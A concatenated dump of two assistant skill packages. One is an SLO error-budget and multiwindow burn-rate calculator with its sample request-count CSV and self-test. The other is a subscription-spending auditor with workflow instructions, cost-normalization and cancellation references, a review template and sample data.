2026-10-18T07:00:00Z,6236,6234
2026-10-18T07:15:00Z,6619,6616
2026-10-18T07:30:00Z,7013,7009
2026-10-18T07:45:00Z,7418,7414
2026-10-18T08:00:00Z,7831,7827
2026-10-18T08:15:00Z,7850,7847
2026-10-18T08:30:00Z,8274,8271
2026-10-18T08:45:00Z,8702,8699
2026-10-18T09:00:00Z,9132,9127
2026-10-18T09:15:00Z,9561,9556
2026-10-18T09:30:00Z,9989,9984
2026-10-18T09:45:00Z,10413,10408
2026-10-18T10:00:00Z,10832,10827
2026-10-18T10:15:00Z,11245,11240
2026-10-18T10:30:00Z,11650,11645
2026-10-18T10:45:00Z,12044,12038
2026-10-18T11:00:00Z,12028,12022
2026-10-18T11:15:00Z,12398,12392
2026-10-18T11:30:00Z,12754,12748
2026-10-18T11:45:00Z,13095,13089
2026-10-18T12:00:00Z,13418,13412
2026-10-18T12:15:00Z,13724,13719
2026-10-18T12:30:00Z,14010,14003
2026-10-18T12:45:00Z,14275,14268
2026-10-18T13:00:00Z,14520,14513
2026-10-18T13:15:00Z,14742,14735
2026-10-18T13:30:00Z,14941,14934
2026-10-18T13:45:00Z,14716,14710
2026-10-18T14:00:00Z,14867,14861
2026-10-18T14:15:00Z,14993,14985
2026-10-18T14:30:00Z,15094,15086
2026-10-18T14:45:00Z,15170,15163
2026-10-18T15:00:00Z,15220,15213
2026-10-18T15:15:00Z,15244,15237
2026-10-18T15:30:00Z,15242,15236
2026-10-18T15:45:00Z,15215,15209
2026-10-18T16:00:00Z,15163,15155
2026-10-18T16:15:00Z,14686,14679
2026-10-18T16:30:00Z,14585,14578
2026-10-18T16:45:00Z,14460,14453
2026-10-18T17:00:00Z,14312,14306
2026-10-18T17:15:00Z,14141,14135
2026-10-18T17:30:00Z,13950,13866
2026-10-18T17:45:00Z,13738,13656
2026-10-18T18:00:00Z,13506,13499
2026-10-18T18:15:00Z,13257,13251
2026-10-18T18:30:00Z,12990,12984
2026-10-18T18:45:00Z,12708,12702
2026-10-18T19:00:00Z,12012,12007
2026-10-18T19:15:00Z,11702,11697
2026-10-18T19:30:00Z,11382,11376
2026-10-18T19:45:00Z,11051,11045
2026-10-18T20:00:00Z,10712,10707
2026-10-18T20:15:00Z,10367,10362
2026-10-18T20:30:00Z,10017,10013
2026-10-18T20:45:00Z,9663,9659
2026-10-18T21:00:00Z,9308,9304
2026-10-18T21:15:00Z,8952,8947
2026-10-18T21:30:00Z,8598,8594
2026-10-18T21:45:00Z,7848,7844
2026-10-18T22:00:00Z,7503,7500
2026-10-18T22:15:00Z,7164,7161
2026-10-18T22:30:00Z,6833,6830
2026-10-18T22:45:00Z,6513,6510
2026-10-18T23:00:00Z,6204,6201
2026-10-18T23:15:00Z,5907,5904
2026-10-18T23:30:00Z,5625,5622
2026-10-18T23:45:00Z,5358,5356
2026-10-19T00:00:00Z,5109,5107
2026-10-19T00:15:00Z,4877,4875
2026-10-19T00:30:00Z,4265,4263
2026-10-19T00:45:00Z,4074,4072
2026-10-19T01:00:00Z,3903,3901
2026-10-19T01:15:00Z,3755,3753
2026-10-19T01:30:00Z,3630,3628
2026-10-19T01:45:00Z,3529,3527
2026-10-19T02:00:00Z,3452,3451
2026-10-19T02:15:00Z,3400,3399
2026-10-19T02:30:00Z,3373,3371
2026-10-19T02:45:00Z,3371,3369
2026-10-19T03:00:00Z,3396,3394
2026-10-19T03:15:00Z,3045,3044
2026-10-19T03:30:00Z,3121,3120
2026-10-19T03:45:00Z,3222,3221
2026-10-19T04:00:00Z,3348,3347
2026-10-19T04:15:00Z,3499,3497
2026-10-19T04:30:00Z,3674,3672
2026-10-19T04:45:00Z,3873,3871
2026-10-19T05:00:00Z,4095,4093
2026-10-19T05:15:00Z,4340,4338
2026-10-19T05:30:00Z,4605,4603
2026-10-19T05:45:00Z,4491,4489
2026-10-19T06:00:00Z,4797,4795
2026-10-19T06:15:00Z,5120,5117
2026-10-19T06:30:00Z,5461,5458
2026-10-19T06:45:00Z,5817,5814
2026-10-19T07:00:00Z,6188,6185
2026-10-19T07:15:00Z,6571,6568
2026-10-19T07:30:00Z,6965,6962
2026-10-19T07:45:00Z,7370,7366
2026-10-19T08:00:00Z,7783,7779
2026-10-19T08:15:00Z,8202,8198
2026-10-19T08:30:00Z,8226,8222
2026-10-19T08:45:00Z,8654,8650
2026-10-19T09:00:00Z,9084,9080
2026-10-19T09:15:00Z,9513,9509
2026-10-19T09:30:00Z,9941,9936
2026-10-19T09:45:00Z,10365,10360
2026-10-19T10:00:00Z,10784,10779
2026-10-19T10:15:00Z,11197,11192
2026-10-19T10:30:00Z,11602,11597
2026-10-19T10:45:00Z,11996,11991
2026-10-19T11:00:00Z,12380,12375
2026-10-19T11:15:00Z,12350,12344
2026-10-19T11:30:00Z,12706,12700
2026-10-19T11:45:00Z,13047,13041
2026-10-19T12:00:00Z,13370,13364
2026-10-19T12:15:00Z,13676,13670
2026-10-19T12:30:00Z,13962,13956
2026-10-19T12:45:00Z,14227,14221
2026-10-19T13:00:00Z,14472,14464
2026-10-19T13:15:00Z,14694,14687
2026-10-19T13:30:00Z,14893,14886
2026-10-19T13:45:00Z,15068,15061
2026-10-19T14:00:00Z,14819,14812
2026-10-19T14:15:00Z,14945,14939
2026-10-19T14:30:00Z,15046,15040
2026-10-19T14:45:00Z,15122,15114
2026-10-19T15:00:00Z,15172,15164
2026-10-19T15:15:00Z,15196,15189
2026-10-19T15:30:00Z,15194,15187
2026-10-19T15:45:00Z,15167,15160
2026-10-19T16:00:00Z,15115,15109
2026-10-19T16:15:00Z,15038,15032
2026-10-19T16:30:00Z,14937,14929
2026-10-19T16:45:00Z,14412,14405
2026-10-19T17:00:00Z,14264,14257
2026-10-19T17:15:00Z,14093,14087
2026-10-19T17:30:00Z,13902,13896
2026-10-19T17:45:00Z,13690,13684
2026-10-19T18:00:00Z,13458,13453
2026-10-19T18:15:00Z,13209,13202
2026-10-19T18:30:00Z,12942,12936
2026-10-19T18:45:00Z,12660,12654
2026-10-19T19:00:00Z,12364,12358
2026-10-19T19:15:00Z,11654,11649
2026-10-19T19:30:00Z,11334,11329
2026-10-19T19:45:00Z,11003,10999
2026-10-19T20:00:00Z,10664,10658
2026-10-19T20:15:00Z,10319,10314
2026-10-19T20:30:00Z,9969,9964
2026-10-19T20:45:00Z,9615,9611
2026-10-19T21:00:00Z,9260,9256
2026-10-19T21:15:00Z,8904,8900
2026-10-19T21:30:00Z,8550,8547
2026-10-19T21:45:00Z,8200,8196
2026-10-19T22:00:00Z,7455,7298
2026-10-19T22:15:00Z,7116,6959
2026-10-19T22:30:00Z,6785,6629
2026-10-19T22:45:00Z,6465,6310
2026-10-19T23:00:00Z,6156,6002
2026-10-19T23:15:00Z,5859,5707
2026-10-19T23:30:00Z,5577,5426
2026-10-19T23:45:00Z,5310,5161
FILE:scripts/slo_budget.py
#!/usr/bin/env python3
"""SLO error budget and burn rate calculator (Python 3 standard library only).
Input: CSV with one row per interval, the timestamp marking the START of the interval, and request
counts. Accepted columns (case-insensitive): timestamp|time|ts, total|requests|count, and either
good|success|ok or bad|errors|failed. Timestamps: ISO 8601 (Z or offset) or Unix seconds.
Math (see references/slo-math.md):
error budget (fraction) = 1 - SLO e.g. 99.9% -> 0.001
error rate over window = sum(bad) / sum(total)
burn rate = error rate / (1 - SLO) 1.0 = spends exactly the budget over the SLO window
budget consumed so far = sum(bad) / ((1 - SLO) * expected requests in the SLO window)
alert threshold = budget share * window hours / long window hours (14.4 = 2% of 30d in 1h)
Default multiwindow, multi-burn-rate policy (Google SRE Workbook): page 2% in 1h (short 5m),
page 5% in 6h (short 30m), ticket 10% in 1d (short 2h), ticket 10% in 3d (short 6h). An alert fires
only when BOTH the long and the short window burn faster than the threshold. Windows shorter than
the data step are rounded up to one step; windows longer than the data are reported as not evaluable.
Usage:
python3 slo_budget.py requests.csv --slo 99.9 --window 30d
python3 slo_budget.py requests.csv --slo 99.5 --window 28d --json
python3 slo_budget.py --allowance --slo 99.95 --window 30d # downtime allowed, no CSV needed
python3 slo_budget.py --self-test
Exit code: 0 OK, 1 a page alert fires or the budget is exhausted, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import json
import re
import statistics
import sys
POLICY = [
# (severity, long window, short window, budget share)
("page", "1h", "5m", 0.02),
("page", "6h", "30m", 0.05),
("ticket", "1d", "2h", 0.10),
("ticket", "3d", "6h", 0.10),
]
ALIASES = {
"ts": ("timestamp", "time", "ts", "date", "datetime"),
"total": ("total", "requests", "count", "events"),
"good": ("good", "success", "ok", "successes"),
"bad": ("bad", "errors", "failed", "failures", "error"),
}
class SLOError(ValueError):
pass
def parse_duration(s):
m = re.fullmatch(r"\s*(\d+(?:\.\d+)?)\s*([smhdw])\s*", str(s).lower())
if not m:
raise SLOError(f"bad duration {s!r} (use e.g. 5m, 1h, 28d)")
return float(m.group(1)) * {"s": 1, "m": 60, "h": 3600, "d": 86400, "w": 604800}[m.group(2)]
def fmt_dur(sec):
sec = int(round(sec))
if sec >= 86400:
d, h = divmod(sec // 3600, 24)
return f"{d}d {h}h" if h else f"{d}d"
if sec >= 3600:
h, m = divmod(sec // 60, 60)
return f"{h}h {m}m" if m else f"{h}h"
if sec >= 60:
m, s = divmod(sec, 60)
return f"{m}m {s}s" if s else f"{m}m"
return f"{sec}s"
def parse_ts(v):
v = v.strip()
if re.fullmatch(r"\d+(\.\d+)?", v):
return dt.datetime.fromtimestamp(float(v), dt.timezone.utc)
t = dt.datetime.fromisoformat(v.replace("Z", "+00:00").replace(" ", "T"))
if t.tzinfo is None:
t = t.replace(tzinfo=dt.timezone.utc)
return t.astimezone(dt.timezone.utc)
def load_rows(lines):
rd = csv.DictReader(lines)
if not rd.fieldnames:
raise SLOError("empty CSV")
cols = {}
lower = {f.strip().lower(): f for f in rd.fieldnames}
for key, names in ALIASES.items():
for n in names:
if n in lower:
cols[key] = lower[n]
break
if "ts" not in cols or "total" not in cols or not ({"good", "bad"} & cols.keys()):
raise SLOError(f"need timestamp, total and good or bad columns; got {rd.fieldnames}")
rows = []
for i, r in enumerate(rd, 2):
try:
ts = parse_ts(r[cols["ts"]])
total = int(float(r[cols["total"]]))
bad = int(float(r[cols["bad"]])) if "bad" in cols else total - int(float(r[cols["good"]]))
except (ValueError, TypeError) as e:
raise SLOError(f"line {i}: {e}")
if total < 0 or bad < 0 or bad > total:
raise SLOError(f"line {i}: counts must satisfy 0 <= bad <= total (total={total}, bad={bad})")
rows.append((ts, total, bad))
if len(rows) < 2:
raise SLOError("need at least two rows")
rows.sort(key=lambda r: r[0])
return rows
def analyze(rows, slo_pct, window, now=None, policy=POLICY):
if not 0 < slo_pct < 100:
raise SLOError("SLO must be between 0 and 100 (exclusive), e.g. 99.9")
budget = 1 - slo_pct / 100
win = parse_duration(window)
diffs = [(b[0] - a[0]).total_seconds() for a, b in zip(rows, rows[1:])]
step = statistics.median(diffs)
if step <= 0:
raise SLOError("duplicate timestamps")
first = rows[0][0]
end = (now or rows[-1][0] + dt.timedelta(seconds=step))
covered = (end - first).total_seconds()
expected_rows = int(round(covered / step))
missing = max(0, expected_rows - len(rows))
def window_stats(seconds):
seconds = max(seconds, step)
if seconds > covered + 1e-6:
return None
start = end - dt.timedelta(seconds=seconds)
tot = sum(t for ts, t, b in rows if start <= ts < end)
bad = sum(b for ts, t, b in rows if start <= ts < end)
rate = bad / tot if tot else 0.0
return {"seconds": seconds, "total": tot, "bad": bad, "error_rate": rate, "burn_rate": rate / budget}
total = sum(r[1] for r in rows)
bad = sum(r[2] for r in rows)
req_per_sec = total / covered
expected_window_total = req_per_sec * win
allowed_bad = budget * expected_window_total
consumed = bad / allowed_bad if allowed_bad else 0.0
alerts = []
for sev, lw, sw, share in policy:
thr = share * win / parse_duration(lw)
L, S = window_stats(parse_duration(lw)), window_stats(parse_duration(sw))
if L is None or S is None:
alerts.append({"severity": sev, "long": lw, "short": sw, "threshold": thr, "status": "not evaluable",
"long_burn": None, "short_burn": None})
continue
fires = L["burn_rate"] >= thr and S["burn_rate"] >= thr
alerts.append({"severity": sev, "long": lw, "short": sw, "threshold": thr,
"status": "FIRING" if fires else "ok",
"long_burn": L["burn_rate"], "short_burn": S["burn_rate"]})
burn = {}
for w in ("5m", "30m", "1h", "2h", "6h", "1d", "3d"):
s = window_stats(parse_duration(w))
burn[w] = None if s is None else s["burn_rate"]
remaining_bad = allowed_bad - bad
exhaust = {}
for w in ("1h", "6h", "1d"):
s = window_stats(parse_duration(w))
if s and s["bad"] > 0 and remaining_bad > 0:
exhaust[w] = remaining_bad / (s["bad"] / s["seconds"])
elif s:
exhaust[w] = 0.0 if remaining_bad <= 0 else None
worst = max(rows, key=lambda r: (r[2] / r[1] if r[1] else 0, r[0]))
return {
"slo_percent": slo_pct, "window": window, "window_seconds": win, "step_seconds": step,
"data_start": first.strftime("%Y-%m-%dT%H:%M:%SZ"), "data_end": end.strftime("%Y-%m-%dT%H:%M:%SZ"),
"rows": len(rows), "missing_intervals": missing,
"total": total, "bad": bad, "sli_percent": 100 * (1 - bad / total) if total else 100.0,
"allowed_bad_in_window": allowed_bad, "budget_consumed": consumed, "budget_remaining": 1 - consumed,
"allowed_downtime_seconds": budget * win,
"burn_rates": burn, "alerts": alerts, "exhaustion_seconds": exhaust,
"worst_interval": {"start": worst[0].strftime("%Y-%m-%dT%H:%M:%SZ"), "total": worst[1], "bad": worst[2],
"error_rate": worst[2] / worst[1] if worst[1] else 0.0},
}
def allowance_table(slo_pct, window):
win = parse_duration(window)
b = 1 - slo_pct / 100
return {"slo_percent": slo_pct, "window": window, "allowed_downtime_seconds": b * win,
"per_day_seconds": b * 86400, "per_week_seconds": b * 604800,
"thresholds": [{"severity": s, "long": l, "short": sh, "share": sha, "burn_rate": sha * win / parse_duration(l)}
for s, l, sh, sha in POLICY]}
def to_markdown(r):
pct = lambda x: f"{100 * x:.1f}%"
out = [f"# SLO error budget report", "",
f"**SLO:** {r['slo_percent']}% over {r['window']} **Data:** {r['data_start']} to {r['data_end']} "
f"({r['rows']} rows, step {fmt_dur(r['step_seconds'])}, {r['missing_intervals']} missing)",
f"**SLI over data:** {r['sli_percent']:.4f}% ({r['bad']:,} bad of {r['total']:,})",
f"**Error budget:** {r['allowed_bad_in_window']:,.0f} bad requests per {r['window']} at current traffic "
f"(= {fmt_dur(r['allowed_downtime_seconds'])} of full downtime)",
f"**Consumed so far:** {pct(r['budget_consumed'])} **Remaining:** {pct(r['budget_remaining'])}", "",
"## Burn rates (1.0 = on budget)", "", "| Window | Burn rate |", "|---|---|"]
for w, v in r["burn_rates"].items():
out.append(f"| {w} | {'n/a' if v is None else f'{v:.2f}'} |")
out += ["", "## Alert policy", "", "| Severity | Long / short window | Threshold | Long burn | Short burn | Status |",
"|---|---|---|---|---|---|"]
for a in r["alerts"]:
lb = "n/a" if a["long_burn"] is None else f"{a['long_burn']:.2f}"
sb = "n/a" if a["short_burn"] is None else f"{a['short_burn']:.2f}"
out.append(f"| {a['severity']} | {a['long']} / {a['short']} | {a['threshold']:.1f} | {lb} | {sb} | {a['status']} |")
out += ["", "## Time to exhaustion at recent burn"]
for w, s in r["exhaustion_seconds"].items():
out.append(f"- at last {w} rate: " + ("budget already exhausted" if s == 0 else ("no errors in window" if s is None else fmt_dur(s))))
wi = r["worst_interval"]
out += ["", f"Worst interval: {wi['start']} with {wi['bad']:,} bad of {wi['total']:,} ({100 * wi['error_rate']:.2f}%)"]
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
t0 = dt.datetime(2026, 1, 1, tzinfo=dt.timezone.utc)
def series(n, step_min, total, bad_fn):
return [(t0 + dt.timedelta(minutes=step_min * i), total, bad_fn(i)) for i in range(n)]
ok("duration parse", parse_duration("28d") == 28 * 86400 and parse_duration("5m") == 300)
ok("duration format", fmt_dur(43.2 * 60) == "43m 12s" and fmt_dur(86400 * 3) == "3d")
a = allowance_table(99.9, "30d")
ok("99.9% of 30d allows 43m 12s", round(a["allowed_downtime_seconds"]) == 2592)
ok("page threshold 14.4 for 30d", abs(a["thresholds"][0]["burn_rate"] - 14.4) < 1e-9)
ok("28d threshold scales to 13.44", abs(allowance_table(99.9, "28d")["thresholds"][0]["burn_rate"] - 13.44) < 1e-9)
flat = series(4 * 24 * 4, 15, 10000, lambda i: 10) # 0.1% errors at 99.9 -> burn 1.0
r = analyze(flat, 99.9, "30d")
ok("steady burn rate is 1.0", abs(r["burn_rates"]["1h"] - 1.0) < 1e-9 and abs(r["burn_rates"]["1d"] - 1.0) < 1e-9)
ok("no alert at burn 1.0", all(x["status"] != "FIRING" for x in r["alerts"][:3]))
ok("burn 1.0 over 4 of 30 days consumes 4/30", abs(r["budget_consumed"] - 4 / 30) < 1e-9)
ok("SLI computed", abs(r["sli_percent"] - 99.9) < 1e-9)
spike = series(4 * 24 * 4, 15, 10000, lambda i: 200 if i >= 4 * 24 * 4 - 4 else 5) # last hour 2% errors
r = analyze(spike, 99.9, "30d")
ok("fast burn pages (1h/5m)", r["alerts"][0]["status"] == "FIRING")
ok("short window rounded up to step", abs(r["burn_rates"]["5m"] - 20.0) < 1e-9)
ok("6h page not firing for 1h spike", r["alerts"][1]["status"] == "ok")
recovered = spike[:-2] + [(spike[-2][0], 10000, 5), (spike[-1][0], 10000, 5)]
r = analyze(recovered, 99.9, "30d")
ok("short window resets page after recovery", r["alerts"][0]["status"] == "ok")
short = series(8, 15, 1000, lambda i: 0)
r = analyze(short, 99.9, "30d")
ok("long windows not evaluable on 2h of data", r["alerts"][3]["status"] == "not evaluable" and r["burn_rates"]["3d"] is None)
gap = flat[:10] + flat[12:]
ok("missing intervals counted", analyze(gap, 99.9, "30d")["missing_intervals"] == 2)
ok("exhaustion time at burn 1", abs(analyze(flat, 99.9, "30d")["exhaustion_seconds"]["1d"] - 26 * 86400) < 1)
rows = load_rows(["time,requests,errors", "2026-01-01T00:00:00Z,100,1", "2026-01-01T00:05:00Z,100,0"])
ok("aliases requests/errors", rows[0][1] == 100 and rows[0][2] == 1)
rows = load_rows(["ts,total,good", "1767225600,50,49", "1767225900,50,50"])
ok("unix timestamps and good column", rows[0][2] == 1 and rows[0][0] == t0)
for data, label in [(["ts,total", "x,1"], "missing good/bad rejected"),
(["ts,total,bad", "2026-01-01T00:00:00Z,10,11", "2026-01-01T00:05:00Z,10,0"], "bad > total rejected"),
(["ts,total,bad", "nope,10,1", "2026-01-01T00:05:00Z,10,0"], "bad timestamp rejected")]:
try:
load_rows(data)
ok(label, False)
except SLOError:
ok(label, True)
try:
analyze(flat, 100, "30d")
ok("SLO 100 rejected", False)
except SLOError:
ok("SLO 100 rejected", True)
ok("markdown has alert table", "## Alert policy" in to_markdown(analyze(flat, 99.9, "30d")))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Compute SLO error budget consumption and multiwindow burn-rate alerts.")
ap.add_argument("file", nargs="?", help="CSV of request counts per interval ('-' for stdin)")
ap.add_argument("--slo", type=float, default=99.9, help="target in percent (default 99.9)")
ap.add_argument("--window", default="30d", help="SLO window, e.g. 28d or 30d (default 30d)")
ap.add_argument("--now", help="evaluate as of this ISO time (default: end of the last interval)")
ap.add_argument("--allowance", action="store_true", help="print allowed downtime and alert thresholds only")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
try:
if a.allowance:
t = allowance_table(a.slo, a.window)
if a.json:
print(json.dumps(t, indent=2))
else:
print(f"SLO {a.slo}% over {a.window}: {fmt_dur(t['allowed_downtime_seconds'])} of full downtime "
f"({fmt_dur(t['per_day_seconds'])}/day, {fmt_dur(t['per_week_seconds'])}/week)")
for x in t["thresholds"]:
print(f" {x['severity']:6} {x['share'] * 100:.0f}% of budget in {x['long']} (short {x['short']}): burn rate >= {x['burn_rate']:.2f}")
return 0
if not a.file:
ap.error("CSV file required (or --allowance / --self-test)")
lines = sys.stdin.read().splitlines() if a.file == "-" else open(a.file, encoding="utf-8").read().splitlines()
r = analyze(load_rows(lines), a.slo, a.window, parse_ts(a.now) if a.now else None)
except (OSError, SLOError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
paging = any(x["severity"] == "page" and x["status"] == "FIRING" for x in r["alerts"])
return 1 if paging or r["budget_remaining"] <= 0 else 0
if __name__ == "__main__":
sys.exit(main())Audits recurring subscriptions (streaming, apps, gym, cloud storage, news) from a simple CSV: true monthly and yearly cost in one currency, your share of family plans, renewals and trial conversions in the next 30 days, unused services, overlapping services in one category, price increases, and annual plans that would save money. Ends with a cancel/keep/downgrade action list. Includes a stdlib Python auditor with --self-test.
---
name: subscription-spending-auditor
description: Audits recurring subscriptions (streaming, apps, gym, cloud storage, news) from a simple CSV: true monthly and yearly cost in one currency, your share of family plans, renewals and trial conversions in the next 30 days, unused services, overlapping services in one category, price increases, and annual plans that would save money. Ends with a cancel/keep/downgrade action list. Includes a stdlib Python auditor with --self-test.
---
# Subscription Spending Auditor
You help people see what their subscriptions really cost and decide what to keep. You turn bank statement lines, app store receipts, or a rough list into one table, convert every charge to the same currency and to monthly and yearly amounts, and point out the easy wins: services nobody uses, three video services where one would do, trials about to turn into paid plans, quiet price increases, and annual plans that are cheaper if the service is kept anyway. The user decides; you make the trade-offs visible.
## Files in this skill
- `scripts/sub_audit.py` - reads a subscriptions CSV and prints totals, your share of shared plans, category totals, upcoming charges, and flags (TRIAL, RENEWS_YEARLY, UNUSED, OVERLAP, PRICE_UP, ANNUAL_SAVES) (Python 3 standard library only)
- `references/cost-normalization.md` - how cycles, currencies, shared plans, trials and price changes are converted, with the formulas
- `references/cancellation-playbook.md` - how to cancel, pause, downgrade or negotiate, and how to avoid surprise renewals
- `templates/subscription-review.md` - a one-page review with decisions and reminders
- `examples/subscriptions.csv` - 12 sample subscriptions in EUR and USD with weekly, monthly, quarterly and yearly cycles, a shared family plan, a trial, unused services and price increases
## Workflow
### 1. Build the list
Ask the user to scan the last 12 months of bank and card statements, app store and Google Play subscriptions, PayPal automatic payments, and email receipts (search "renewal", "subscription", "receipt", "trial"). Put each item in the CSV shape of `examples/subscriptions.csv`. Required columns: name, amount, cycle. Helpful: currency, next_renewal, category, last_used (an honest guess is fine), users (people sharing the plan), trial_end and paid_after_trial, previous_amount, annual_price.
### 2. Run the auditor
```
python3 scripts/sub_audit.py examples/subscriptions.csv --currency EUR --rate USD=0.92 --today 2026-10-20
python3 scripts/sub_audit.py subs.csv --currency USD --rate EUR=1.08 --rate GBP=1.27 --days 45 --unused-days 60
python3 scripts/sub_audit.py subs.csv --json > audit.json
python3 scripts/sub_audit.py --self-test
```
Rates are "1 unit of that currency = X report currency"; use the rate on the user's card statement. Exit code 2 means bad input (unknown cycle, missing rate, bad date, negative amount).
### 3. Walk through the action list
Order of attention: TRIAL (deadline soonest), RENEWS_YEARLY (a big charge is coming), UNUSED, OVERLAP, PRICE_UP, ANNUAL_SAVES. For each item, ask one question: "Would you sign up for this today at this price?" Offer cancel, pause, downgrade, share, or switch to annual (only for services they are sure to keep 12 months).
### 4. Act safely
Use `references/cancellation-playbook.md`. Cancel through the official account page or app store, screenshot the confirmation, and set calendar reminders 3 days before trial ends and yearly renewals.
### 5. Summarize
Fill `templates/subscription-review.md`: before and after monthly and yearly totals, decisions, and reminder dates.
## Example result
For `examples/subscriptions.csv` with USD=0.92 on 2026-10-20: 136.65 EUR/month (1,639.80 EUR/year), 112.66 EUR/month as the user's share, 699.49 EUR/year in four unused services, a DesignPro trial converting on 2026-10-25 to 22.99 EUR/month, a 99.99 EUR CloudVault renewal on 2026-11-05, three overlapping video services, three price increases worth 108 EUR/year, and 237.87 EUR of charges in the next 30 days.
## Rules
- Never ask for card numbers, bank logins, or passwords; amounts and dates are enough.
- Do not cancel anything or contact providers on the user's behalf unless they ask; draft the message instead.
- Keep it judgment-free: some subscriptions are worth it. Present costs and let the user choose.
- Trials count as 0 in current totals; always show what they cost after conversion.
FILE:references/cost-normalization.md
# Cost Normalization
## Charges per month by cycle
| Cycle | Charges per month | Yearly cost of 10.00 |
|---|---|---|
| weekly | 4.348125 (365.25 / 12 / 7) | 521.78 |
| biweekly | 2.1740625 | 260.89 |
| monthly | 1 | 120.00 |
| quarterly | 1/3 | 40.00 |
| semiannual | 1/6 | 20.00 |
| yearly | 1/12 | 10.00 |
| every N days | 30.436875 / N | |
monthly cost = charge x rate x charges per month; yearly cost = monthly x 12. Rounding to cents happens only at the end, so totals do not drift.
## Currencies
- Use one report currency and one rate per foreign currency, e.g. `--rate USD=0.92` (1 USD = 0.92 EUR).
- Best source: the converted amount on the card statement divided by the original amount. It includes the card's FX margin.
- Mention foreign transaction fees separately if the card charges them (often 1-3%).
## Shared plans
- `users` = number of people sharing. Your share = cost / users.
- Show both the full cost (what the card pays) and your share (what you would pay after others pay you back). If others do not actually pay, use users = 1.
## Trials
- A trial has amount 0, `trial_end`, and `paid_after_trial`. Charges on or after `trial_end` use the paid amount in the upcoming-charges list.
- Totals show today's cost (0) so the user sees what changes if they do nothing: the TRIAL flag gives the converted monthly and yearly price.
## Price changes
- `previous_amount` = the price before the latest increase. Yearly impact = (new - old) x rate x charges per month x 12.
- Providers often announce increases by email 30 days ahead; search for "price change" and "new price".
## Annual vs monthly
- Annual saves money only if the service would be kept for 12 months anyway. Saving = monthly cost x 12 - annual price.
- Annual plans are usually not refundable after a short window; switch only for services used every week.
## Renewal dates
- `next_renewal` in the past is rolled forward by the cycle until it is today or later.
- Month-end dates clamp: a plan renewing on the 31st renews on Feb 28 (or 29) and then on the 28th or 31st depending on the provider; check the receipt.
FILE:references/cancellation-playbook.md
# Cancellation and Downgrade Playbook
## Where to cancel
| Billed through | Where to cancel |
|---|---|
| Apple App Store | Settings > your name > Subscriptions |
| Google Play | Play Store > profile > Payments & subscriptions > Subscriptions |
| PayPal | Settings > Payments > Manage automatic payments (stops payments, also cancel with the provider) |
| Directly with the service | Account or billing page on the website; some require a chat or phone call |
| Mobile carrier or TV bundle | Carrier account or support line |
Deleting an app does not cancel its subscription.
## Steps
1. Check the renewal date and whether cancelling ends access now or at the end of the period (usually the end).
2. Export anything you want to keep (photos, playlists, notes, workout history).
3. Cancel through the official channel above, not through links in unexpected emails.
4. Save proof: confirmation email or screenshot with date.
5. Watch the next statement; dispute a charge after cancellation with the provider first, then the card issuer.
## Alternatives to cancelling
- **Pause** (gyms, meal kits, some streaming services) for travel or busy months.
- **Downgrade** to an ad-supported, single-screen, or smaller storage tier.
- **Rotate** streaming: keep one service at a time and switch monthly for the shows you want.
- **Share** a family plan with your household, within the provider's terms.
- **Ask** for a retention offer: many services offer a discount when you start cancelling. Decide your walk-away price first.
## Trials
- Set a reminder 2-3 days before `trial_end`; many trials can be cancelled right after signing up while keeping the trial period.
- Use a virtual card with a limit or a single-merchant card for trials if the bank offers it.
## Message template (support chat or email)
> Hello, please cancel my <service> subscription on the account <email> effective at the end of the current billing period, and confirm by email that no further charges will be made. Thank you.
## Habits that keep costs down
- Review subscriptions every quarter with this skill.
- Keep one calendar with all yearly renewal dates.
- Before subscribing, ask: will I use it at least weekly?
FILE:templates/subscription-review.md
# Subscription Review - <name> - <date>
**Report currency:** <EUR> **Rates:** <1 USD = 0.92 EUR (card statement)>
**Before:** <monthly> /month = <yearly> /year (your share <monthly> /month)
**After decisions:** <monthly> /month = <yearly> /year **Saved per year:** <amount>
## Decisions
| Subscription | Cost per year | Flag | Decision | Done |
|---|---|---|---|---|
| | | | keep / cancel / pause / downgrade / switch to annual | [ ] |
## Deadlines and reminders
| Date | What | Reminder set |
|---|---|---|
| | trial ends | [ ] |
| | yearly renewal | [ ] |
## Next 30 days of charges
- <date> <name> <amount>
## Notes
- Shared plans: <who pays what back>
- Price increases noticed: <service old -> new>
- Next review: <date, about 3 months from now>
FILE:examples/subscriptions.csv
name,amount,currency,cycle,next_renewal,category,last_used,users,trial_end,previous_amount,annual_price,paid_after_trial
StreamFlix Premium,17.99,EUR,monthly,2026-10-27,Video streaming,2026-10-18,2,,15.99,,
CineBox,8.99,EUR,monthly,2026-11-03,Video streaming,2026-08-02,1,,,89.90,
AnimeNow,6.49,USD,monthly,2026-10-22,Video streaming,2026-07-15,1,,,,
TuneWave Family,19.99,EUR,monthly,2026-11-10,Music,2026-10-19,4,,16.99,,
CloudVault 2 TB,99.99,EUR,yearly,2026-11-05,Cloud storage,2026-10-19,1,,,,
PhotoCloud 200 GB,2.99,EUR,monthly,2026-11-01,Cloud storage,2026-10-10,1,,,29.99,
FitPulse Gym,39.00,EUR,monthly,2026-11-01,Fitness,2026-09-04,1,,35.00,,
Yoga Daily App,59.99,USD,yearly,2027-03-14,Fitness,2026-10-12,1,,,,
NewsLine Digital,4.99,EUR,weekly,2026-10-23,News,2026-10-19,1,,,,
PasswordSafe,36.00,USD,yearly,2027-01-20,Software,2026-10-19,1,,,,
DesignPro Trial,0.00,USD,monthly,2026-10-25,Design,2026-10-02,1,2026-10-25,,,24.99
LangLeap Plus,12.99,EUR,quarterly,2026-12-01,Learning,2026-06-30,1,,,,
FILE:scripts/sub_audit.py
#!/usr/bin/env python3
"""Subscription spending auditor (Python 3 standard library only).
Input CSV columns (header names are case-insensitive; only name, amount, cycle are required):
name, amount, currency, cycle, next_renewal, category, last_used, users, trial_end,
previous_amount, annual_price, paid_after_trial
cycle: weekly, biweekly, monthly, quarterly, semiannual, yearly/annual, or "every N days|weeks|months|years"
(also short forms like 2w, 3m, 1y).
users: how many people share the plan; your share = amount / users (default 1).
